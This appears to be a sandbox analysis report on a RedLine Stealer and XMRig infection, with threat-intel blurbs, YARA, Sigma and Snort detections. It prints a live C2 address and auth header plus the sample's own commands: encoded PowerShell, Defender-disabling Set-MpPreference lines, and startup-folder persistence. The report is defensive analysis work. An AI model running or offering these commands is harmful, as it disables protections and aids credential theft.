svchost.exe (PID: 7080 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: RedLine

{"C2 url": "147.45.78.229:43674", "Authorization Header": "6a4b05ef943a0dd801fd01dfbb9eb717"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\ProgramData\1.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\1.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3277615325.00000000029E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000003.2077593562.0000000004420000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C0 88 44 24 2B 88 44 24 2F B0 29 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.3280253389.00000000045AC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.3280551668.0000000004800000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.3280551668.0000000004800000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.3278134834.0000000002AA1000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x1420:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.3289464221.0000000007590000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000002.3289464221.0000000007590000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.3275621443.0000000000400000.00000040.00000001.01000000.00000003.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C0 88 44 24 2B 88 44 24 2F B0 29 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000005D.00000003.2800628651.0000000007379000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000003.2079601696.0000000006D61000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000000.00000003.2079601696.0000000006D61000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: file.exe PID: 6472	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6472	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: mig.exe PID: 6220	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.400000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 C0 88 44 24 2B 88 44 24 2F B0 29 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0.3.file.exe.4420000.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C0 88 44 24 2B 88 44 24 2F B0 29 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.file.exe.29e0e67.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C0 88 44 24 2B 88 44 24 2F B0 29 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.file.exe.7590000.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.7590000.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.4800ee8.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.4800ee8.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 C0 88 44 24 2B 88 44 24 2F B0 29 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
0.2.file.exe.45edbe6.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.45edbe6.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.45edbe6.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.45edbe6.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.4800000.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.4800000.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.45eccfe.3.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.45eccfe.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.4800000.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.4800000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.4800ee8.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.4800ee8.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.7590000.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.7590000.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.file.exe.45eccfe.3.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0.2.file.exe.45eccfe.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 19 entries

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F, CommandLine: "C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F, CommandLine|base64offset|contains: z, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4720, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /delete /tn WindowsUpdate /F, ProcessId: 6056, ProcessName: schtasks.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True, CommandLine|base64offset|contains: I~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\users\mig.exe" , ParentImage: C:\Users\mig.exe, ParentProcessId: 6220, ParentProcessName: mig.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True, ProcessId: 5712, ProcessName: powershell.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Sigma detected: Powershell Defender Exclusion

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\, CommandLine|base64offset|contains: I~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\users\mig.exe" , ParentImage: C:\Users\mig.exe, ParentProcessId: 6220, ParentProcessName: mig.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionPath c:\, ProcessId: 5260, ProcessName: powershell.exe

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 3180, TargetFilename: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA, CommandLine|base64offset|contains: Ijw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\users\mig.exe" , ParentImage: C:\Users\mig.exe, ParentProcessId: 6220, ParentProcessName: mig.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAA

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net start MicrosoftESS, CommandLine: net start MicrosoftESS, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\programdata\MicrosoftSystem\run.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5384, ParentProcessName: cmd.exe, ProcessCommandLine: net start MicrosoftESS, ProcessId: 6204, ProcessName: net.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True, CommandLine|base64offset|contains: I~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\users\mig.exe" , ParentImage: C:\Users\mig.exe, ParentProcessId: 6220, ParentProcessName: mig.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $True, ProcessId: 5712, ProcessName: powershell.exe

Sigma detected: Start Windows Service Via Net.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net start MicrosoftESS, CommandLine: net start MicrosoftESS, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\programdata\MicrosoftSystem\run.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5384, ParentProcessName: cmd.exe, ProcessCommandLine: net start MicrosoftESS, ProcessId: 6204, ProcessName: net.exe

Sigma detected: Stop Windows Service Via Net.EXE

Source: Process started

Author: Jakob Weinzettl, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\net.exe" stop wmservice, CommandLine: "C:\Windows\system32\net.exe" stop wmservice, CommandLine|base64offset|contains: ), Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIABzAHQAbwBwACAAdwBtAHMAZQByAHYAaQBjAGUACgB0AGEAcwBrAGsAaQBsAGwAIAAvAGYAIAAvAGkAbQAgAG0AaQBnAHIAYQB0AGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAASQBuAHQAZQBsAEMAbwBuAGYAaQBnAFMAZQByAHYAaQBjAGUALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAATQBTAFQAYQBzAGsALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAUwB1AHAAZQByAGYAZQB0AGMAaAAuAGUAeABlAAoAdABhAHMAawBrAGkAbABsACAALwBmACAALwBpAG0AIABXAG0AaQBpAGMALgBlAHgAZQAKAHQAYQBzAGsAawBpAGwAbAAgAC8AZgAgAC8AaQBtACAAVwByAGEAcAAuAGUAeABlAAoAYwBtAGQAIAAvAGMAIAB0AGEAawBlAG8AdwBuACAALwBGACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABhAHMAawBzACIACgBzAGMAaAB0AGEAcwBrAHMAIAAvAGQAZQBsAGUAdABlACAALwB0AG4AIAAiAFcAaQBuAGQAbwB3AHMAVQBwAGQAYQB0AGUAIgAgAC8ARgAKAGMAbQBkACAALwBjACAAdABhAGsAZQBvAHcAbgAgAC8ARgAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAbQBpAGcAcgBhAHQAZQAuAGUAeABlACIACgBjAG0AZAAgAC8AYwAgAGQAZQBsACAALwBGACAALwBRACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABtAGkAZwByAGEAdABlAC4AZQB4AGUAIgAKAAoA, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4720, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\net.exe" stop wmservice, ProcessId: 6856, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 7080, ProcessName: svchost.exe

Snort Signatures

ET TROJAN [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) - Source IP: 192.168.2.5 - Destination IP: 147.45.78.229

Timestamp:	07/02/24-22:52:10.091193
SID:	2046045
Source Port:	49704
Destination Port:	43674
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 147.45.78.229 - Destination IP: 192.168.2.5

Timestamp:	07/02/24-22:52:10.244221
SID:	2043234
Source Port:	43674
Destination Port:	49704
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Redline Stealer/MetaStealer Family Activity (Response) - Source IP: 147.45.78.229 - Destination IP: 192.168.2.5

Timestamp:	07/02/24-22:52:16.313042
SID:	2046056
